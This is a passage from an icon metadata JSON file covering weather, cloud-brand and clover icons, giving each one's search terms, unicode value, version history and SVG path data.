        "path": "M224 0c38.6 0 71.9 22.8 87.2 55.7C325.7 41.1 345.8 32 368 32c38.7 0 71 27.5 78.4 64H448c35.3 0 64 28.7 64 64s-28.7 64-64 64H128c-35.3 0-64-28.7-64-64s28.7-64 64-64c0-53 43-96 96-96zM140.6 292.3l-48 80c-6.8 11.4-21.6 15-32.9 8.2s-15.1-21.6-8.2-32.9l48-80c6.8-11.4 21.6-15.1 32.9-8.2s15.1 21.6 8.2 32.9zm327.8-32.9c11.4 6.8 15 21.6 8.2 32.9l-48 80c-6.8 11.4-21.6 15-32.9 8.2s-15-21.6-8.2-32.9l48-80c6.8-11.4 21.6-15.1 32.9-8.2zM252.6 292.3l-48 80c-6.8 11.4-21.6 15-32.9 8.2s-15.1-21.6-8.2-32.9l48-80c6.8-11.4 21.6-15.1 32.9-8.2s15.1 21.6 8.2 32.9zm103.8-32.9c11.4 6.8 15 21.6 8.2 32.9l-48 80c-6.8 11.4-21.6 15-32.9 8.2s-15.1-21.6-8.2-32.9l48-80c6.8-11.4 21.6-15.1 32.9-8.2zM306.5 421.9C329 437.4 356.5 448 384 448c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 501.7 417 512 384 512c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.4 27.3-10.1 39.2-1.7l0 0C136.7 437.2 165.1 448 192 448c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0z"
      }
    },
    "free": ["solid"]
  },
  "cloud-sun": {
    "aliases": {
      "unicodes": {
        "composite": ["26c5"],
        "secondary": ["10f6c4"]
      }
    },
    "changes": ["5.4.0", "5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "clear",
        "cloud",
        "day",
        "daytime",
        "fall",
        "outdoors",
        "overcast",
        "partly cloudy",
        "sun",
        "sun behind cloud"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6c4",
    "label": "Cloud Sun",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M294.2 1.2c5.1 2.1 8.7 6.7 9.6 12.1l14.1 84.7 84.7 14.1c5.4 .9 10 4.5 12.1 9.6s1.5 10.9-1.6 15.4l-38.5 55c-2.2-.1-4.4-.2-6.7-.2c-23.3 0-45.1 6.2-64 17.1l0-1.1c0-53-43-96-96-96s-96 43-96 96s43 96 96 96c8.1 0 15.9-1 23.4-2.9c-36.6 18.1-63.3 53.1-69.8 94.9l-24.4 17c-4.5 3.2-10.3 3.8-15.4 1.6s-8.7-6.7-9.6-12.1L98.1 317.9 13.4 303.8c-5.4-.9-10-4.5-12.1-9.6s-1.5-10.9 1.6-15.4L52.5 208 2.9 137.2c-3.2-4.5-3.8-10.3-1.6-15.4s6.7-8.7 12.1-9.6L98.1 98.1l14.1-84.7c.9-5.4 4.5-10 9.6-12.1s10.9-1.5 15.4 1.6L208 52.5 278.8 2.9c4.5-3.2 10.3-3.8 15.4-1.6zM144 208a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM639.9 431.9c0 44.2-35.8 80-80 80H288c-53 0-96-43-96-96c0-47.6 34.6-87 80-94.6l0-1.3c0-53 43-96 96-96c34.9 0 65.4 18.6 82.2 46.4c13-9.1 28.8-14.4 45.8-14.4c44.2 0 80 35.8 80 80c0 5.9-.6 11.7-1.9 17.2c37.4 6.7 65.8 39.4 65.8 78.7z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M294.2 1.2c5.1 2.1 8.7 6.7 9.6 12.1l14.1 84.7 84.7 14.1c5.4 .9 10 4.5 12.1 9.6s1.5 10.9-1.6 15.4l-38.5 55c-2.2-.1-4.4-.2-6.7-.2c-23.3 0-45.1 6.2-64 17.1l0-1.1c0-53-43-96-96-96s-96 43-96 96s43 96 96 96c8.1 0 15.9-1 23.4-2.9c-36.6 18.1-63.3 53.1-69.8 94.9l-24.4 17c-4.5 3.2-10.3 3.8-15.4 1.6s-8.7-6.7-9.6-12.1L98.1 317.9 13.4 303.8c-5.4-.9-10-4.5-12.1-9.6s-1.5-10.9 1.6-15.4L52.5 208 2.9 137.2c-3.2-4.5-3.8-10.3-1.6-15.4s6.7-8.7 12.1-9.6L98.1 98.1l14.1-84.7c.9-5.4 4.5-10 9.6-12.1s10.9-1.5 15.4 1.6L208 52.5 278.8 2.9c4.5-3.2 10.3-3.8 15.4-1.6zM144 208a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM639.9 431.9c0 44.2-35.8 80-80 80H288c-53 0-96-43-96-96c0-47.6 34.6-87 80-94.6l0-1.3c0-53 43-96 96-96c34.9 0 65.4 18.6 82.2 46.4c13-9.1 28.8-14.4 45.8-14.4c44.2 0 80 35.8 80 80c0 5.9-.6 11.7-1.9 17.2c37.4 6.7 65.8 39.4 65.8 78.7z"
      }
    },
    "free": ["solid"]
  },
  "cloud-sun-rain": {
    "aliases": {
      "unicodes": {
        "composite": ["1f326"],
        "secondary": ["10f743"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "cloud",
        "day",
        "overcast",
        "precipitation",
        "rain",
        "storm",
        "summer",
        "sun",
        "sun behind rain cloud",
        "sunshower"
      ]
    },
    "styles": ["solid"],
    "unicode": "f743",
    "label": "Cloud Sun Rain",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M294.2 1.2c5.1 2.1 8.7 6.7 9.6 12.1l10.4 62.4c-23.3 10.8-42.9 28.4-56 50.3c-14.6-9-31.8-14.1-50.2-14.1c-53 0-96 43-96 96c0 35.5 19.3 66.6 48 83.2c.8 31.8 13.2 60.7 33.1 82.7l-56 39.2c-4.5 3.1-10.3 3.8-15.4 1.6s-8.7-6.7-9.6-12.1L98.1 317.9 13.4 303.8c-5.4-.9-10-4.5-12.1-9.6s-1.5-10.9 1.6-15.4L52.5 208 2.9 137.2c-3.2-4.5-3.8-10.3-1.6-15.4s6.7-8.7 12.1-9.6L98.1 98.1l14.1-84.7c.9-5.4 4.5-10 9.6-12.1s10.9-1.5 15.4 1.6L208 52.5 278.8 2.9c4.5-3.2 10.3-3.8 15.4-1.6zM208 144c13.8 0 26.7 4.4 37.1 11.9c-1.2 4.1-2.2 8.3-3 12.6c-37.9 14.6-67.2 46.6-77.8 86.4C151.8 243.1 144 226.5 144 208c0-35.3 28.7-64 64-64zm69.4 276c11 7.4 14 22.3 6.7 33.3l-32 48c-7.4 11-22.3 14-33.3 6.7s-14-22.3-6.7-33.3l32-48c7.4-11 22.3-14 33.3-6.7zm96 0c11 7.4 14 22.3 6.7 33.3l-32 48c-7.4 11-22.3 14-33.3 6.7s-14-22.3-6.7-33.3l32-48c7.4-11 22.3-14 33.3-6.7zm96 0c11 7.4 14 22.3 6.7 33.3l-32 48c-7.4 11-22.3 14-33.3 6.7s-14-22.3-6.7-33.3l32-48c7.4-11 22.3-14 33.3-6.7zm96 0c11 7.4 14 22.3 6.7 33.3l-32 48c-7.4 11-22.3 14-33.3 6.7s-14-22.3-6.7-33.3l32-48c7.4-11 22.3-14 33.3-6.7zm74.5-116.1c0 44.2-35.8 80-80 80H288c-53 0-96-43-96-96c0-47.6 34.6-87 80-94.6l0-1.3c0-53 43-96 96-96c34.9 0 65.4 18.6 82.2 46.4c13-9.1 28.8-14.4 45.8-14.4c44.2 0 80 35.8 80 80c0 5.9-.6 11.7-1.9 17.2c37.4 6.7 65.8 39.4 65.8 78.7z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M294.2 1.2c5.1 2.1 8.7 6.7 9.6 12.1l10.4 62.4c-23.3 10.8-42.9 28.4-56 50.3c-14.6-9-31.8-14.1-50.2-14.1c-53 0-96 43-96 96c0 35.5 19.3 66.6 48 83.2c.8 31.8 13.2 60.7 33.1 82.7l-56 39.2c-4.5 3.1-10.3 3.8-15.4 1.6s-8.7-6.7-9.6-12.1L98.1 317.9 13.4 303.8c-5.4-.9-10-4.5-12.1-9.6s-1.5-10.9 1.6-15.4L52.5 208 2.9 137.2c-3.2-4.5-3.8-10.3-1.6-15.4s6.7-8.7 12.1-9.6L98.1 98.1l14.1-84.7c.9-5.4 4.5-10 9.6-12.1s10.9-1.5 15.4 1.6L208 52.5 278.8 2.9c4.5-3.2 10.3-3.8 15.4-1.6zM208 144c13.8 0 26.7 4.4 37.1 11.9c-1.2 4.1-2.2 8.3-3 12.6c-37.9 14.6-67.2 46.6-77.8 86.4C151.8 243.1 144 226.5 144 208c0-35.3 28.7-64 64-64zm69.4 276c11 7.4 14 22.3 6.7 33.3l-32 48c-7.4 11-22.3 14-33.3 6.7s-14-22.3-6.7-33.3l32-48c7.4-11 22.3-14 33.3-6.7zm96 0c11 7.4 14 22.3 6.7 33.3l-32 48c-7.4 11-22.3 14-33.3 6.7s-14-22.3-6.7-33.3l32-48c7.4-11 22.3-14 33.3-6.7zm96 0c11 7.4 14 22.3 6.7 33.3l-32 48c-7.4 11-22.3 14-33.3 6.7s-14-22.3-6.7-33.3l32-48c7.4-11 22.3-14 33.3-6.7zm96 0c11 7.4 14 22.3 6.7 33.3l-32 48c-7.4 11-22.3 14-33.3 6.7s-14-22.3-6.7-33.3l32-48c7.4-11 22.3-14 33.3-6.7zm74.5-116.1c0 44.2-35.8 80-80 80H288c-53 0-96-43-96-96c0-47.6 34.6-87 80-94.6l0-1.3c0-53 43-96 96-96c34.9 0 65.4 18.6 82.2 46.4c13-9.1 28.8-14.4 45.8-14.4c44.2 0 80 35.8 80 80c0 5.9-.6 11.7-1.9 17.2c37.4 6.7 65.8 39.4 65.8 78.7z"
      }
    },
    "free": ["solid"]
  },
  "cloudflare": {
    "changes": ["5.15.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e07d",
    "label": "Cloudflare",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M407.906,319.913l-230.8-2.928a4.58,4.58,0,0,1-3.632-1.926,4.648,4.648,0,0,1-.494-4.147,6.143,6.143,0,0,1,5.361-4.076L411.281,303.9c27.631-1.26,57.546-23.574,68.022-50.784l13.286-34.542a7.944,7.944,0,0,0,.524-2.936,7.735,7.735,0,0,0-.164-1.631A151.91,151.91,0,0,0,201.257,198.4,68.12,68.12,0,0,0,94.2,269.59C41.924,271.106,0,313.728,0,366.12a96.054,96.054,0,0,0,1.029,13.958,4.508,4.508,0,0,0,4.445,3.871l426.1.051c.043,0,.08-.019.122-.02a5.606,5.606,0,0,0,5.271-4l3.273-11.265c3.9-13.4,2.448-25.8-4.1-34.9C430.124,325.423,420.09,320.487,407.906,319.913ZM513.856,221.1c-2.141,0-4.271.062-6.391.164a3.771,3.771,0,0,0-3.324,2.653l-9.077,31.193c-3.9,13.4-2.449,25.786,4.1,34.89,6.02,8.4,16.054,13.323,28.238,13.9l49.2,2.939a4.491,4.491,0,0,1,3.51,1.894,4.64,4.64,0,0,1,.514,4.169,6.153,6.153,0,0,1-5.351,4.075l-51.125,2.939c-27.754,1.27-57.669,23.574-68.145,50.784l-3.695,9.606a2.716,2.716,0,0,0,2.427,3.68c.046,0,.088.017.136.017h175.91a4.69,4.69,0,0,0,4.539-3.37,124.807,124.807,0,0,0,4.682-34C640,277.3,583.524,221.1,513.856,221.1Z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M407.906,319.913l-230.8-2.928a4.58,4.58,0,0,1-3.632-1.926,4.648,4.648,0,0,1-.494-4.147,6.143,6.143,0,0,1,5.361-4.076L411.281,303.9c27.631-1.26,57.546-23.574,68.022-50.784l13.286-34.542a7.944,7.944,0,0,0,.524-2.936,7.735,7.735,0,0,0-.164-1.631A151.91,151.91,0,0,0,201.257,198.4,68.12,68.12,0,0,0,94.2,269.59C41.924,271.106,0,313.728,0,366.12a96.054,96.054,0,0,0,1.029,13.958,4.508,4.508,0,0,0,4.445,3.871l426.1.051c.043,0,.08-.019.122-.02a5.606,5.606,0,0,0,5.271-4l3.273-11.265c3.9-13.4,2.448-25.8-4.1-34.9C430.124,325.423,420.09,320.487,407.906,319.913ZM513.856,221.1c-2.141,0-4.271.062-6.391.164a3.771,3.771,0,0,0-3.324,2.653l-9.077,31.193c-3.9,13.4-2.449,25.786,4.1,34.89,6.02,8.4,16.054,13.323,28.238,13.9l49.2,2.939a4.491,4.491,0,0,1,3.51,1.894,4.64,4.64,0,0,1,.514,4.169,6.153,6.153,0,0,1-5.351,4.075l-51.125,2.939c-27.754,1.27-57.669,23.574-68.145,50.784l-3.695,9.606a2.716,2.716,0,0,0,2.427,3.68c.046,0,.088.017.136.017h175.91a4.69,4.69,0,0,0,4.539-3.37,124.807,124.807,0,0,0,4.682-34C640,277.3,583.524,221.1,513.856,221.1Z"
      }
    },
    "free": ["brands"]
  },
  "cloudscale": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f383",
    "label": "cloudscale.ch",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M318.1 154l-9.4 7.6c-22.5-19.3-51.5-33.6-83.3-33.6C153.8 128 96 188.8 96 260.3c0 6.6.4 13.1 1.4 19.4-2-56 41.8-97.4 92.6-97.4 24.2 0 46.2 9.4 62.6 24.7l-25.2 20.4c-8.3-.9-16.8 1.8-23.1 8.1-11.1 11-11.1 28.9 0 40 11.1 11 28.9 11 40 0 6.3-6.3 9-14.9 8.1-23.1l75.2-88.8c6.3-6.5-3.3-15.9-9.5-9.6zm-83.8 111.5c-5.6 5.5-14.6 5.5-20.2 0-5.6-5.6-5.6-14.6 0-20.2s14.6-5.6 20.2 0 5.6 14.7 0 20.2zM224 32C100.5 32 0 132.5 0 256s100.5 224 224 224 224-100.5 224-224S347.5 32 224 32zm0 384c-88.2 0-160-71.8-160-160S135.8 96 224 96s160 71.8 160 160-71.8 160-160 160z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M318.1 154l-9.4 7.6c-22.5-19.3-51.5-33.6-83.3-33.6C153.8 128 96 188.8 96 260.3c0 6.6.4 13.1 1.4 19.4-2-56 41.8-97.4 92.6-97.4 24.2 0 46.2 9.4 62.6 24.7l-25.2 20.4c-8.3-.9-16.8 1.8-23.1 8.1-11.1 11-11.1 28.9 0 40 11.1 11 28.9 11 40 0 6.3-6.3 9-14.9 8.1-23.1l75.2-88.8c6.3-6.5-3.3-15.9-9.5-9.6zm-83.8 111.5c-5.6 5.5-14.6 5.5-20.2 0-5.6-5.6-5.6-14.6 0-20.2s14.6-5.6 20.2 0 5.6 14.7 0 20.2zM224 32C100.5 32 0 132.5 0 256s100.5 224 224 224 224-100.5 224-224S347.5 32 224 32zm0 384c-88.2 0-160-71.8-160-160S135.8 96 224 96s160 71.8 160 160-71.8 160-160 160z"
      }
    },
    "free": ["brands"]
  },
  "cloudsmith": {
    "changes": ["5.0.0", "6.4.1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f384",
    "label": "Cloudsmith",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1684948301,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 227.6v56.9L284.4 512H227.6L0 284.4V227.6L227.6 0h56.9L512 227.6zm-256 162a133.6 133.6 0 1 0 0-267.1 133.6 133.6 0 1 0 0 267.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M512 227.6v56.9L284.4 512H227.6L0 284.4V227.6L227.6 0h56.9L512 227.6zm-256 162a133.6 133.6 0 1 0 0-267.1 133.6 133.6 0 1 0 0 267.1z"
      }
    },
    "free": ["brands"]
  },
  "cloudversify": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f385",
    "label": "cloudversify",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 616 512\"><path d=\"M148.6 304c8.2 68.5 67.4 115.5 146 111.3 51.2 43.3 136.8 45.8 186.4-5.6 69.2 1.1 118.5-44.6 131.5-99.5 14.8-62.5-18.2-132.5-92.1-155.1-33-88.1-131.4-101.5-186.5-85-57.3 17.3-84.3 53.2-99.3 109.7-7.8 2.7-26.5 8.9-45 24.1 11.7 0 15.2 8.9 15.2 19.5v20.4c0 10.7-8.7 19.5-19.5 19.5h-20.2c-10.7 0-19.5-6-19.5-16.7V240H98.8C95 240 88 244.3 88 251.9v40.4c0 6.4 5.3 11.8 11.7 11.8h48.9zm227.4 8c-10.7 46.3 21.7 72.4 55.3 86.8C324.1 432.6 259.7 348 296 288c-33.2 21.6-33.7 71.2-29.2 92.9-17.9-12.4-53.8-32.4-57.4-79.8-3-39.9 21.5-75.7 57-93.9C297 191.4 369.9 198.7 400 248c-14.1-48-53.8-70.1-101.8-74.8 30.9-30.7 64.4-50.3 114.2-43.7 69.8 9.3 133.2 82.8 67.7 150.5 35-16.3 48.7-54.4 47.5-76.9l10.5 19.6c11.8 22 15.2 47.6 9.4 72-9.2 39-40.6 68.8-79.7 76.5-32.1 6.3-83.1-5.1-91.8-59.2zM128 208H88.2c-8.9 0-16.2-7.3-16.2-16.2v-39.6c0-8.9 7.3-16.2 16.2-16.2H128c8.9 0 16.2 7.3 16.2 16.2v39.6c0 8.9-7.3 16.2-16.2 16.2zM10.1 168C4.5 168 0 163.5 0 157.9v-27.8c0-5.6 4.5-10.1 10.1-10.1h27.7c5.5 0 10.1 4.5 10.1 10.1v27.8c0 5.6-4.5 10.1-10.1 10.1H10.1zM168 142.7v-21.4c0-5.1 4.2-9.3 9.3-9.3h21.4c5.1 0 9.3 4.2 9.3 9.3v21.4c0 5.1-4.2 9.3-9.3 9.3h-21.4c-5.1 0-9.3-4.2-9.3-9.3zM56 235.5v25c0 6.3-5.1 11.5-11.4 11.5H19.4C13.1 272 8 266.8 8 260.5v-25c0-6.3 5.1-11.5 11.4-11.5h25.1c6.4 0 11.5 5.2 11.5 11.5z\"/></svg>",
        "viewBox": [0, 0, 616, 512],
        "width": 616,
        "height": 512,
        "path": "M148.6 304c8.2 68.5 67.4 115.5 146 111.3 51.2 43.3 136.8 45.8 186.4-5.6 69.2 1.1 118.5-44.6 131.5-99.5 14.8-62.5-18.2-132.5-92.1-155.1-33-88.1-131.4-101.5-186.5-85-57.3 17.3-84.3 53.2-99.3 109.7-7.8 2.7-26.5 8.9-45 24.1 11.7 0 15.2 8.9 15.2 19.5v20.4c0 10.7-8.7 19.5-19.5 19.5h-20.2c-10.7 0-19.5-6-19.5-16.7V240H98.8C95 240 88 244.3 88 251.9v40.4c0 6.4 5.3 11.8 11.7 11.8h48.9zm227.4 8c-10.7 46.3 21.7 72.4 55.3 86.8C324.1 432.6 259.7 348 296 288c-33.2 21.6-33.7 71.2-29.2 92.9-17.9-12.4-53.8-32.4-57.4-79.8-3-39.9 21.5-75.7 57-93.9C297 191.4 369.9 198.7 400 248c-14.1-48-53.8-70.1-101.8-74.8 30.9-30.7 64.4-50.3 114.2-43.7 69.8 9.3 133.2 82.8 67.7 150.5 35-16.3 48.7-54.4 47.5-76.9l10.5 19.6c11.8 22 15.2 47.6 9.4 72-9.2 39-40.6 68.8-79.7 76.5-32.1 6.3-83.1-5.1-91.8-59.2zM128 208H88.2c-8.9 0-16.2-7.3-16.2-16.2v-39.6c0-8.9 7.3-16.2 16.2-16.2H128c8.9 0 16.2 7.3 16.2 16.2v39.6c0 8.9-7.3 16.2-16.2 16.2zM10.1 168C4.5 168 0 163.5 0 157.9v-27.8c0-5.6 4.5-10.1 10.1-10.1h27.7c5.5 0 10.1 4.5 10.1 10.1v27.8c0 5.6-4.5 10.1-10.1 10.1H10.1zM168 142.7v-21.4c0-5.1 4.2-9.3 9.3-9.3h21.4c5.1 0 9.3 4.2 9.3 9.3v21.4c0 5.1-4.2 9.3-9.3 9.3h-21.4c-5.1 0-9.3-4.2-9.3-9.3zM56 235.5v25c0 6.3-5.1 11.5-11.4 11.5H19.4C13.1 272 8 266.8 8 260.5v-25c0-6.3 5.1-11.5 11.4-11.5h25.1c6.4 0 11.5 5.2 11.5 11.5z"
      }
    },
    "free": ["brands"]
  },
  "clover": {
    "changes": ["6.0.0-beta1", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "4",
        "charm",
        "clover",
        "four",
        "four leaf clover",
        "four-leaf clover",
        "leaf",
        "leprechaun",
        "luck",
        "lucky"
      ]
    },
    "styles": ["solid"],
    "unicode": "e139",
    "label": "Clover",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768131,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M173.3 32C139.4 32 112 59.4 112 93.3v4.9c0 12 3.3 23.7 9.4 34l18.8 31.3c1.1 1.8 1.2 3.1 1 4.2c-.2 1.2-.8 2.5-2 3.6s-2.4 1.8-3.6 2c-1 .2-2.4 .1-4.2-1l-31.3-18.8c-10.3-6.2-22-9.4-34-9.4H61.3C27.4 144 0 171.4 0 205.3c0 16.2 6.5 31.8 17.9 43.3l1.2 1.2c3.4 3.4 3.4 9 0 12.4l-1.2 1.2C6.5 274.9 0 290.5 0 306.7C0 340.6 27.4 368 61.3 368h4.9c12 0 23.7-3.3 34-9.4l31.3-18.8c1.8-1.1 3.1-1.2 4.2-1c1.2 .2 2.5 .8 3.6 2s1.8 2.4 2 3.6c.2 1 .1 2.4-1 4.2l-18.8 31.3c-6.2 10.3-9.4 22-9.4 34v4.9c0 33.8 27.4 61.3 61.3 61.3c16.2 0 31.8-6.5 43.3-17.9l1.2-1.2c3.4-3.4 9-3.4 12.4 0l1.2 1.2c11.5 11.5 27.1 17.9 43.3 17.9c33.8 0 61.3-27.4 61.3-61.3v-4.9c0-12-3.3-23.7-9.4-34l-18.8-31.3c-1.1-1.8-1.2-3.1-1-4.2c.2-1.2 .8-2.5 2-3.6s2.4-1.8 3.6-2c1-.2 2.4-.1 4.2 1l31.3 18.8c10.3 6.2 22 9.4 34 9.4h4.9c33.8 0 61.3-27.4 61.3-61.3c0-16.2-6.5-31.8-17.9-43.3l-1.2-1.2c-3.4-3.4-3.4-9 0-12.4l1.2-1.2c11.5-11.5 17.9-27.1 17.9-43.3c0-33.8-27.4-61.3-61.3-61.3h-4.9c-12 0-23.7 3.3-34 9.4l-31.3 18.8c-1.8 1.1-3.1 1.2-4.2 1c-1.2-.2-2.5-.8-3.6-2s-1.8-2.4-2-3.6c-.2-1-.1-2.4 1-4.2l18.8-31.3c6.2-10.3 9.4-22 9.4-34V93.3C336 59.4 308.6 32 274.7 32c-16.2 0-31.8 6.5-43.3 17.9l-1.2 1.2c-3.4 3.4-9 3.4-12.4 0l-1.2-1.2C205.1 38.5 189.5 32 173.3 32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M173.3 32C139.4 32 112 59.4 112 93.3v4.9c0 12 3.3 23.7 9.4 34l18.8 31.3c1.1 1.8 1.2 3.1 1 4.2c-.2 1.2-.8 2.5-2 3.6s-2.4 1.8-3.6 2c-1 .2-2.4 .1-4.2-1l-31.3-18.8c-10.3-6.2-22-9.4-34-9.4H61.3C27.4 144 0 171.4 0 205.3c0 16.2 6.5 31.8 17.9 43.3l1.2 1.2c3.4 3.4 3.4 9 0 12.4l-1.2 1.2C6.5 274.9 0 290.5 0 306.7C0 340.6 27.4 368 61.3 368h4.9c12 0 23.7-3.3 34-9.4l31.3-18.8c1.8-1.1 3.1-1.2 4.2-1c1.2 .2 2.5 .8 3.6 2s1.8 2.4 2 3.6c.2 1 .1 2.4-1 4.2l-18.8 31.3c-6.2 10.3-9.4 22-9.4 34v4.9c0 33.8 27.4 61.3 61.3 61.3c16.2 0 31.8-6.5 43.3-17.9l1.2-1.2c3.4-3.4 9-3.4 12.4 0l1.2 1.2c11.5 11.5 27.1 17.9 43.3 17.9c33.8 0 61.3-27.4 61.3-61.3v-4.9c0-12-3.3-23.7-9.4-34l-18.8-31.3c-1.1-1.8-1.2-3.1-1-4.2c.2-1.2 .8-2.5 2-3.6s2.4-1.8 3.6-2c1-.2 2.4-.1 4.2 1l31.3 18.8c10.3 6.2 22 9.4 34 9.4h4.9c33.8 0 61.3-27.4 61.3-61.3c0-16.2-6.5-31.8-17.9-43.3l-1.2-1.2c-3.4-3.4-3.4-9 0-12.4l1.2-1.2c11.5-11.5 17.9-27.1 17.9-43.3c0-33.8-27.4-61.3-61.3-61.3h-4.9c-12 0-23.7 3.3-34 9.4l-31.3 18.8c-1.8 1.1-3.1 1.2-4.2 1c-1.2-.2-2.5-.8-3.6-2s-1.8-2.4-2-3.6c-.2-1-.1-2.4 1-4.2l18.8-31.3c6.2-10.3 9.4-22 9.4-34V93.3C336 59.4 308.6 32 274.7 32c-16.2 0-31.8 6.5-43.3 17.9l-1.2 1.2c-3.4 3.4-9 3.4-12.4 0l-1.2-1.2C205.1 38.5 189.5 32 173.3 32z"
      }
    },
    "free": ["solid"]
  },
  "cmplid": {
    "changes": ["6.0.0-beta1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e360",
    "label": "Cmplid",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M226.119,388.165a3.816,3.816,0,0,0-2.294-3.5,3.946,3.946,0,0,0-1.629-.385L72.6,384.3a19.243,19.243,0,0,1-17.924-26.025L81.585,255.692a35.72,35.72,0,0,1,32.373-26H262.525a7.07,7.07,0,0,0,6.392-5.194l10.769-41.131a3.849,3.849,0,0,0-2.237-4.937,3.755,3.755,0,0,0-1.377-.261c-.063,0-.126,0-.189.005H127.38a106.8,106.8,0,0,0-96.99,77.1L3.483,358.824A57.469,57.469,0,0,0,57.314,436q1.43,0,2.86-.072H208.742a7.131,7.131,0,0,0,6.391-5.193L225.839,389.6A3.82,3.82,0,0,0,226.119,388.165ZM306.658,81.2a3.861,3.861,0,0,0,.251-1.367A3.813,3.813,0,0,0,303.079,76c-.064,0-.128,0-.192,0h-41A7.034,7.034,0,0,0,255.5,81.2l-21.347,80.915h51.131ZM180.364,368.249H231.5L263.452,245.69H212.321ZM511.853,79.723a3.809,3.809,0,0,0-3.8-3.661c-.058,0-.137,0-.23.007h-41a7.1,7.1,0,0,0-6.584,5.129L368.91,430.634a3.54,3.54,0,0,0-.262,1.335,3.873,3.873,0,0,0,3.864,3.863c.056,0,.112,0,.169,0h41a7.068,7.068,0,0,0,6.392-5.193L511.533,81.2A3.624,3.624,0,0,0,511.853,79.723ZM324.649,384.47h-41a7.2,7.2,0,0,0-6.392,5.194L266.52,430.8a3.662,3.662,0,0,0-.268,1.374A3.783,3.783,0,0,0,270.023,436c.06,0,.166,0,.3-.012h40.905a7.036,7.036,0,0,0,6.391-5.193l10.769-41.131a3.75,3.75,0,0,0-3.445-5.208c-.108,0-.217,0-.326.014Zm311.324-308.4h-41a7.066,7.066,0,0,0-6.392,5.129l-91.46,349.436a4.073,4.073,0,0,0-.229,1.347,3.872,3.872,0,0,0,3.863,3.851c.056,0,.112,0,.169,0h40.968a7.1,7.1,0,0,0,6.392-5.193L639.68,81.2a3.624,3.624,0,0,0,.32-1.475,3.841,3.841,0,0,0-3.821-3.564c-.068,0-.137,0-.206.006ZM371.562,225.236l10.8-41.1a4.369,4.369,0,0,0,.227-1.388,3.869,3.869,0,0,0-3.861-3.842c-.057,0-.113,0-.169,0h-41.1a7.292,7.292,0,0,0-6.391,5.226l-10.834,41.1a4.417,4.417,0,0,0-.26,1.493c0,.069,0,.138,0,.206a3.776,3.776,0,0,0,3.757,3.507c.076,0,.18,0,.3-.012h41.129A7.034,7.034,0,0,0,371.562,225.236Z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
